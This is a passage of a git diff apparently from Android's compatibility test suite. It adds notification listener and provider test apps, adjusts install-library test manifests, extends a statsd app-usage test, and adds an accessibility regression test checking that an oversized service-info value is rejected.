+ AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+ Set<Integer> offStates = new HashSet<>(Arrays.asList(
+ AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+ List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+ createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
+ Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
+
+ getDevice().executeShellCommand(String.format(
+ "am start -n '%s' -e %s %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+ "action", ACTION_LONG_SLEEP_WHILE_TOP));
+ final int waitTime = EXTRA_WAIT_TIME_MS + 5_000;
+ Thread.sleep(waitTime);
+
+ getDevice().executeShellCommand(String.format(
+ "am force-stop %s",
+ "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity"));
+ Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+ List<EventMetricData> data = getEventMetricDataList();
+ Function<Atom, Integer> appUsageStateFunction =
+ atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
}
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 0e1ebb0..e7bf788 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -91,7 +91,7 @@
}
java_library {
- name: "cts-install-lib",
+ name: "cts-install-lib-java",
srcs: ["src/**/*.java"],
static_libs: ["androidx.test.rules", "compatibility-device-util-axt", "truth-prebuilt"],
sdk_version: "test_current",
@@ -110,3 +110,11 @@
":StagedInstallTestApexV3",
],
}
+
+android_library {
+ name: "cts-install-lib",
+ manifest: "AndroidManifest.xml",
+ static_libs: [
+ "cts-install-lib-java",
+ ],
+}
diff --git a/libs/install/AndroidManifest.xml b/libs/install/AndroidManifest.xml
new file mode 100644
index 0000000..e9f5b7d
--- /dev/null
+++ b/libs/install/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.install.lib"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <queries>
+ <package android:name="com.android.cts.install.lib.testapp.A"/>
+ <package android:name="com.android.cts.install.lib.testapp.B"/>
+ <package android:name="com.android.cts.install.lib.testapp.C"/>
+ </queries>
+
+ <uses-sdk android:minSdkVersion="8"/>
+</manifest>
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index cb77517..9bf34cf 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -47,6 +47,8 @@
"TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
"TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+ public static final TestApp AIncompleteSplit = new TestApp("AIncompleteSplit", A, 1,
+ /*isApex*/false, "TestAppASplitV1_anydpi.apk");
public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
"TestAppBv1.apk");
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
index 0ec90cf..338a5b9 100644
--- a/libs/install/testapp/ACrashingV2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App A v2" android:forceQueryable="true">
+ <application android:label="Test App A v2">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index 5b47699..e9714fc 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App A1" android:forceQueryable="true">
+ <application android:label="Test App A1">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index 9f2c21a..fd8afa0 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App A2" android:forceQueryable="true">
+ <application android:label="Test App A2">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index d86aebd..a7839e3 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App A3" android:forceQueryable="true">
+ <application android:label="Test App A3">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index f990713..403e7e2 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App B1" android:forceQueryable="true">
+ <application android:label="Test App B1">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
index 3bd7292..f030c3f 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -22,7 +22,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App B2" android:forceQueryable="true">
+ <application android:label="Test App B2">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index 32f6989..edb69f9 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -23,7 +23,7 @@
<uses-sdk android:minSdkVersion="19" />
- <application android:label="Test App C1" android:forceQueryable="true">
+ <application android:label="Test App C1">
<receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
android:exported="true" />
<activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 08e585c..ef96124 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -22,7 +22,6 @@
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer"/>
<target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
<option name="cleanup" value="true" />
<option name="push-file" key="CtsAccessibilityMultipleServicesApp.apk"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index 01d1659..7312c26 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -16,18 +16,26 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertSame;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.Presubmit;
import android.view.accessibility.AccessibilityEvent;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import com.google.common.base.Strings;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -37,7 +45,7 @@
*/
@Presubmit
@RunWith(AndroidJUnit4.class)
-public class AccessibilityServiceInfoTest {
+public class AccessibilityServiceInfoTest extends StsExtraBusinessLogicTestCase {
@Rule
public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
@@ -131,6 +139,22 @@
}
+ @Test
+ @AsbSecurityTest(cveBugId = {261589597})
+ public void testSetServiceInfo_throwsForLargeServiceInfo() {
+ try {
+ final InstrumentedAccessibilityService service =
+ InstrumentedAccessibilityService.enableService(
+ InstrumentedAccessibilityService.class);
+ final AccessibilityServiceInfo info = service.getServiceInfo();
+ info.packageNames = new String[]{Strings.repeat("A", 1024 * 507)};
+
+ assertThrows(IllegalStateException.class, () -> service.setServiceInfo(info));
+ } finally {
+ InstrumentedAccessibilityService.disableAllServices();
+ }
+ }
+
/**
* Fully populates the {@link AccessibilityServiceInfo} to marshal.
*
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index c6f0355..743fc55 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -35,6 +35,7 @@
],
srcs: [
"src/**/*.java",
+ "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
"app/src/android/app/stubs/RemoteActivity.java",
],
// Tag this module as a cts test artifact
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index b7f0371..b12ee7e 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -29,6 +29,10 @@
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
+
+ <service android:name=".InstrumentationHelperService"
+ android:exported="true"
+ android:process=":helper" />
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
@@ -57,4 +61,11 @@
android:targetProcesses="com.android.cts.launcherapps.simpleapp:other,com.android.cts.launcherapps.simpleapp">
</instrumentation>
+ <instrumentation android:name=".ChainedInstrumentationFirst"
+ android:targetPackage="com.android.test.cantsavestate1" >
+ </instrumentation>
+
+ <instrumentation android:name=".ChainedInstrumentationSecond"
+ android:targetPackage="com.android.test.cantsavestate2" >
+ </instrumentation>
</manifest>
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 645d233..465b633 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -33,6 +33,8 @@
<option name="test-file-name" value="CtsCantSaveState1.apk" />
<option name="test-file-name" value="CtsCantSaveState2.apk" />
<option name="test-file-name" value="NotificationDelegator.apk" />
+ <option name="test-file-name" value="NotificationProvider.apk" />
+ <option name="test-file-name" value="NotificationListener.apk" />
<option name="test-file-name" value="StorageDelegator.apk" />
<option name="test-file-name" value="CtsActivityManagerApi29.apk" />
</target_preparer>
diff --git a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
index fec3c4d..1d59250 100644
--- a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
+++ b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
@@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application android:usesCleartextTraffic="true"
android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
index cb0b73b..c2424be 100644
--- a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
+++ b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
@@ -20,6 +20,7 @@
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<application android:usesCleartextTraffic="true"
android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
new file mode 100644
index 0000000..96a0c3c
--- /dev/null
+++ b/tests/app/NotificationListener/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "NotificationListener",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "**/*.java",
+ "**/*.kt",
+ "src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+ ],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ libs: [
+ "android.test.runner",
+ "android.test.base",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "platform-test-annotations",
+ ],
+ platform_apis: true,
+ sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationListener/AndroidManifest.xml b/tests/app/NotificationListener/AndroidManifest.xml
new file mode 100644
index 0000000..f510637
--- /dev/null
+++ b/tests/app/NotificationListener/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.test.notificationlistener">
+ <application android:label="Notification Listener">
+
+ <service android:name=".NotificationUriAccessService"
+ android:exported="true"/>
+
+ <service android:name=".TestNotificationListener"
+ android:exported="true"
+ android:label="TestNotificationListener"
+ android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.notification.NotificationListenerService"/>
+ </intent-filter>
+ </service>
+
+ </application>
+</manifest>
diff --git a/tests/app/NotificationListener/res/layout/activity.xml b/tests/app/NotificationListener/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationListener/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+>
+
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="25dp"
+ android:textAppearance="?android:attr/textAppearanceLarge"
+ android:text="@string/activity_description"
+ />
+
+</LinearLayout>
diff --git a/tests/app/NotificationListener/res/values/strings.xml b/tests/app/NotificationListener/res/values/strings.xml
new file mode 100644
index 0000000..e19d5bf
--- /dev/null
+++ b/tests/app/NotificationListener/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<resources>
+ <string name="activity_description">This app has a listener and an service used for tests</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
similarity index 67%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
index 1a335c7..eb93179 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package com.android.test.notificationlistener;
-import android.app.Activity;
-
-public class PocActivity extends Activity {
+interface INotificationUriAccessService {
+ void ensureNotificationListenerServiceConnected(boolean connected);
+ boolean isFileUriAccessible(in android.net.Uri uri);
}
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
new file mode 100644
index 0000000..5e6e469
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.app.NotificationManager
+import android.app.Service
+import android.content.Intent
+import android.net.Uri
+import android.os.IBinder
+import java.io.IOException
+
+class NotificationUriAccessService : Service() {
+ private inner class MyNotificationUriAccessService : INotificationUriAccessService.Stub() {
+ @Throws(IllegalStateException::class)
+ override fun ensureNotificationListenerServiceConnected(ensureConnected: Boolean) {
+ val nm = getSystemService(NotificationManager::class.java)!!
+ val testListener = TestNotificationListener.componentName
+ check(nm.isNotificationListenerAccessGranted(testListener) == ensureConnected) {
+ "$testListener has incorrect listener access; expected=$ensureConnected"
+ }
+ val listener = TestNotificationListener.instance
+ if (ensureConnected) {
+ check(listener != null) {
+ "$testListener has not been created, but should be connected"
+ }
+ }
+ val isConnected = listener?.isConnected ?: false
+ check(isConnected == ensureConnected) {
+ "$testListener has incorrect listener connection state; expected=$ensureConnected"
+ }
+ }
+
+ override fun isFileUriAccessible(uri: Uri?): Boolean {
+ try {
+ contentResolver.openAssetFile(uri!!, "r", null).use { return true }
+ } catch (e: SecurityException) {
+ return false
+ } catch (e: IOException) {
+ throw IllegalStateException("Exception without security error", e)
+ }
+ }
+ }
+
+ private val mBinder = MyNotificationUriAccessService()
+ override fun onBind(intent: Intent): IBinder? {
+ return mBinder
+ }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
new file mode 100644
index 0000000..19c7d82
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/TestNotificationListener.kt
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.content.ComponentName
+import android.service.notification.NotificationListenerService
+
+class TestNotificationListener : NotificationListenerService() {
+ var isConnected = false
+
+ override fun onListenerConnected() {
+ super.onListenerConnected()
+ instance = this
+ isConnected = true
+ }
+
+ override fun onListenerDisconnected() {
+ super.onListenerDisconnected()
+ isConnected = false
+ }
+
+ companion object {
+ var instance: TestNotificationListener? = null
+ private set
+ val componentName: ComponentName by lazy {
+ val javaClass = TestNotificationListener::class.java
+ ComponentName(javaClass.getPackage().name, javaClass.name)
+ }
+ }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
new file mode 100644
index 0000000..26e69d7
--- /dev/null
+++ b/tests/app/NotificationProvider/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "NotificationProvider",
+ defaults: ["cts_support_defaults"],
+ srcs: ["**/*.java", "**/*.kt"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
+ platform_apis: true,
+ sdk_version: "current",
+}
diff --git a/tests/app/NotificationProvider/AndroidManifest.xml b/tests/app/NotificationProvider/AndroidManifest.xml
new file mode 100644
index 0000000..09ae4b0
--- /dev/null
+++ b/tests/app/NotificationProvider/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.test.notificationprovider">
+ <application android:label="Notification Provider">
+ <activity android:name=".RichNotificationActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <provider
+ android:name=".AssetFileProvider"
+ android:authorities="com.android.test.notificationprovider.provider"
+ android:exported="false"
+ android:grantUriPermissions="true"
+ />
+
+ </application>
+</manifest>
diff --git a/tests/app/NotificationProvider/assets/background7.png b/tests/app/NotificationProvider/assets/background7.png
new file mode 100644
index 0000000..20c22f7
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background7.png
Binary files differ
diff --git a/tests/app/NotificationProvider/assets/background8.png b/tests/app/NotificationProvider/assets/background8.png
new file mode 100644
index 0000000..a7a593d
--- /dev/null
+++ b/tests/app/NotificationProvider/assets/background8.png
Binary files differ
diff --git a/tests/app/NotificationProvider/res/layout/activity.xml b/tests/app/NotificationProvider/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationProvider/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+>
+
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_marginTop="25dp"
+ android:textAppearance="?android:attr/textAppearanceLarge"
+ android:text="@string/activity_description"
+ />
+
+</LinearLayout>
diff --git a/tests/app/NotificationProvider/res/values/strings.xml b/tests/app/NotificationProvider/res/values/strings.xml
new file mode 100644
index 0000000..266ea53
--- /dev/null
+++ b/tests/app/NotificationProvider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<resources>
+ <string name="activity_description">This app has a provider and posts notifications</string>
+</resources>
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
new file mode 100644
index 0000000..af10f1b
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/AssetFileProvider.kt
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationprovider
+
+import android.content.ContentProvider
+import android.content.ContentValues
+import android.content.res.AssetFileDescriptor
+import android.database.Cursor
+import android.net.Uri
+
+class AssetFileProvider : ContentProvider() {
+ override fun onCreate(): Boolean {
+ return true
+ }
+
+ override fun openAssetFile(uri: Uri, mode: String): AssetFileDescriptor? {
+ val assets = context?.assets
+ val filename = uri.lastPathSegment
+ if (mode == "r" && assets != null && filename != null) {
+ return assets.openFd(filename)
+ }
+ return super.openAssetFile(uri, mode)
+ }
+
+ override fun query(
+ uri: Uri,
+ projection: Array<String>?,
+ selection: String?,
+ selectionArgs: Array<String>?,
+ sortOrder: String?
+ ): Cursor? {
+ throw UnsupportedOperationException()
+ }
+
+ override fun getType(uri: Uri): String? {
+ return null
+ }
+
+ override fun insert(uri: Uri, values: ContentValues?): Uri? {
+ throw UnsupportedOperationException()
+ }
+
+ override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int {
+ throw UnsupportedOperationException()
+ }
+
+ override fun update(
+ uri: Uri,
+ values: ContentValues?,
+ selection: String?,
+ selectionArgs: Array<String>?
+ ): Int {
+ throw UnsupportedOperationException()
+ }
+}
\ No newline at end of file
diff --git a/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
new file mode 100644
index 0000000..4197760
--- /dev/null
+++ b/tests/app/NotificationProvider/src/com/android/test/notificationprovider/RichNotificationActivity.kt
